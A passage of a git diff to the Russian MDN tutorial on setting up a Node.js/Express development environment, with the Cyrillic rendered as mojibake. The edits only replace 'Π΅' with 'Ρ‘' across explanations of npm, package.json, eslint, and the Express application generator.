ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для запуска тСстов ΠΈ инструмСнтов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</span></span></p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β  <span class="tlid-translation translation" lang="ru"><span title="">Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Node, Express - это просто Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΏΠ°ΠΊΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ NPM, Π° Π·Π°Ρ‚Π΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² своСм собствСнном ΠΊΠΎΠ΄Π΅.</span></span></p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β  <span class="tlid-translation translation" lang="ru"><span title="">Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Node, Express - это просто Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΏΠ°ΠΊΠ΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ NPM, Π° Π·Π°Ρ‚Π΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² своём собствСнном ΠΊΠΎΠ΄Π΅.</span></span></p>
</div>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ NPM для получСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ.</span> <span title="">ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΌΡ‹ вмСсто этого управляСм зависимостями, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ простой тСкстовый Ρ„Π°ΠΉΠ» с ΠΈΠΌΠ΅Π½Π΅ΠΌ package.json.</span> <span title="">Π’ этом Ρ„Π°ΠΉΠ»Π΅ пСрСчислСны всС зависимости для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ Β«ΠΏΠ°ΠΊΠ΅Ρ‚Π°Β» JavaScript, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ имя ΠΏΠ°ΠΊΠ΅Ρ‚Π°, Π²Π΅Ρ€ΡΠΈΡŽ, описаниС, исходный Ρ„Π°ΠΉΠ» для выполнСния, производствСнныС зависимости, зависимости Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, вСрсии Node, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΈ Ρ‚. Π”. Π€Π°ΠΉΠ» package.json Π΄ΠΎΠ»ΠΆΠ΅Π½</span> <span title="">ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ всС, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ NPM для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ запуска вашСго прилоТСния (Ссли Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎΠ³ΠΎ использования, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ npm ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Π³ΠΎ доступным для Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ).</span></span></p>
@@ -163,7 +163,7 @@ Server running at http://127.0.0.1:3000/
<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ NPM для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π°, ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² зависимостях ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Node.</span></span></p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β  <span class="tlid-translation translation" lang="ru"><span title="">Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ инструкции для получСния ΠΈ установки ΠΏΠ°ΠΊΠ΅Ρ‚Π° Express.</span> <span title="">ПозТС ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ этот ΠΏΠ°ΠΊΠ΅Ρ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡƒΠΆΠ΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ для нас с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Express Application Generator.</span> <span title="">Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» прСдоставлСн, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ NPM ΠΈ Ρ‡Ρ‚ΠΎ создаСтся Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</span></span></p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β  <span class="tlid-translation translation" lang="ru"><span title="">Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ инструкции для получСния ΠΈ установки ΠΏΠ°ΠΊΠ΅Ρ‚Π° Express.</span> <span title="">ПозТС ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ этот ΠΏΠ°ΠΊΠ΅Ρ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡƒΠΆΠ΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ для нас с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Express Application Generator.</span> <span title="">Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» прСдоставлСн, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ NPM ΠΈ Ρ‡Ρ‚ΠΎ создаётся Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</span></span></p>
</div>
<ol>
@@ -225,7 +225,7 @@ app.listen(</code>8000<code>, () =&gt; {
});</code>
</pre>
- <p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ минимальноС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Express Β«HelloWorldΒ».</span> <span title="">Π­Ρ‚ΠΎ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ «экспрСсс» ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ для создания сСрвСра (прилоТСния), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ HTTP-запросы Π½Π° ΠΏΠΎΡ€Ρ‚Ρƒ 8000 ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π½Π° консоль сообщСниС, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π΅Π΅, ΠΊΠ°ΠΊΠΎΠΉ URL-адрСс Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для тСстирования сСрвСра.</span> <span title="">Ѐункция app.get () ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° запросы HTTP GET с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ URL-ΠΏΡƒΡ‚Π΅ΠΌ ('/'), Π² этом случаС вызывая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ нашСго Hello World!</span> <span title="">сообщСниС.</span></span><br>
+ <p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ минимальноС Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Express Β«HelloWorldΒ».</span> <span title="">Π­Ρ‚ΠΎ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ «экспрСсс» ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ для создания сСрвСра (прилоТСния), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ HTTP-запросы Π½Π° ΠΏΠΎΡ€Ρ‚Ρƒ 8000 ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π½Π° консоль сообщСниС, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π΅Π΅, ΠΊΠ°ΠΊΠΎΠΉ URL-адрСс Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для тСстирования сСрвСра.</span> <span title="">Ѐункция app.get () ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° запросы HTTP GET с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ URL-ΠΏΡƒΡ‚Ρ‘ΠΌ ('/'), Π² этом случаС вызывая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ нашСго Hello World!</span> <span title="">сообщСниС.</span></span><br>
<br>
<span class="tlid-translation translation" lang="ru"><span title="">Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» с ΠΈΠΌΠ΅Π½Π΅ΠΌ index.js Π² ΠΊΠΎΡ€Π½Π΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° прилоТСния Β«myappΒ» ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ содСрТимоС, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π²Ρ‹ΡˆΠ΅.</span></span></p>
</li>
@@ -239,7 +239,7 @@ Example app listening on port 8000
<h3 id="Зависимости_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ">Зависимости Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ</h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Если Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ вмСсто этого ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π΅ ΠΊΠ°ΠΊ Β«Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ» (Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ вашСго ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π½Π΅ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΠ»ΠΎΡΡŒ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² производствС).</span> <span title="">НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ популярный инструмСнт JavaScript Linting eslint, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ NPM, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Если Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΎ врСмя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ вмСсто этого ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Ρ‘ ΠΊΠ°ΠΊ Β«Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ» (Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ вашСго ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π½Π΅ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΠ»ΠΎΡΡŒ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ Π² производствС).</span> <span title="">НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ популярный инструмСнт JavaScript Linting eslint, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ NPM, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</span></span></p>
<pre class="brush: bash notranslate"><code>npm install eslint --save-dev</code></pre>
@@ -284,7 +284,7 @@ npm run lint</code>
<h2 id="Установка_Express_Application_Generator">Установка Express Application Generator</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ Express Application Generator создаСт «скСлСт» прилоТСния Express.</span> <span title="">УстановитС Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ NPM, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ (Ρ„Π»Π°Π³ -g устанавливаСт инструмСнт глобально, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈΠ· любого мСста):</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ Express Application Generator создаёт «скСлСт» прилоТСния Express.</span> <span title="">УстановитС Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ NPM, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ (Ρ„Π»Π°Π³ -g устанавливаСт инструмСнт глобально, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΈΠ· любого мСста):</span></span></p>
<pre class="notranslate"><code>npm install express-generator -g</code></pre>
@@ -302,7 +302,7 @@ npm run lint</code>
<p><span class="tlid-translation translation" lang="ru"><span title="">NPM создаст Π½ΠΎΠ²ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Express Π² ΠΏΠΎΠ΄ΠΏΠ°ΠΏΠΊΠ΅ вашСго Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ мСстополоТСния, отобраТая процСсс сборки Π½Π° консоли.</span> <span title="">По Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ инструмСнт ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ввСсти, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ зависимости Node ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</span></span></p>
<div class="note">
-<p><span class="tlid-translation translation" lang="ru"><span title="">НовоС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ„Π°ΠΉΠ» package.json Π² своСм ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅.</span> <span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ это, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ зависимости установлСны, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Express ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ шаблонов Jade:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">НовоС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ„Π°ΠΉΠ» package.json Π² своём ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅.</span> <span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ это, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ зависимости установлСны, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Express ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ шаблонов Jade:</span></span></p>
<pre class="brush: js notranslate">{
Β  "name": "helloworld",
@@ -341,7 +341,7 @@ SET DEBUG=helloworld:* | npm start
DEBUG=helloworld:* npm start
</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Команда DEBUG создаСт ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ Π²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΆΡƒΡ€Π½Π°Π»Π°, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π²Ρ‹Π²ΠΎΠ΄Ρƒ, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌΡƒ ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ Π½ΠΈΠΆΠ΅.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Команда DEBUG создаёт ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ Π²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΆΡƒΡ€Π½Π°Π»Π°, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Π²Ρ‹Π²ΠΎΠ΄Ρƒ, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌΡƒ ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ Π½ΠΈΠΆΠ΅.</span></span></p>
<pre class="brush: bash notranslate">&gt;SET DEBUG=helloworld:* &amp; npm start
@@ -354,7 +354,7 @@ DEBUG=helloworld:* npm start
<p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ большС ΠΎ сгСнСрированном ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎ создании каркасного прилоТСния.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ большС ΠΎ сгСнСрированном ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎ создании каркасного прилоТСния.</span></span></p>
<ul>
</ul>
@@ -363,7 +363,7 @@ DEBUG=helloworld:* npm start
<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ установлСна ΠΈ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π° срСда Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Node, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для создания Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Express.</span> <span title="">Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊ NPM ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° Express Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ прилоТСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнта Express Application Generator ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΈΡ….</span><br>
<br>
- <span title="">Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ с ΡƒΡ‡Π΅Π±Π½Ρ‹ΠΌ пособиСм ΠΏΠΎ созданию ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠ³ΠΎ Π²Π΅Π±-прилоТСния с использованиСм этой срСды ΠΈ связанных инструмСнтов.</span></span></p>
+ <span title="">Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ с ΡƒΡ‡Π΅Π±Π½Ρ‹ΠΌ пособиСм ΠΏΠΎ созданию ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠ³ΠΎ Π²Π΅Π±-прилоТСния с использованиСм этой срСды ΠΈ связанных инструмСнтов.</span></span></p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html
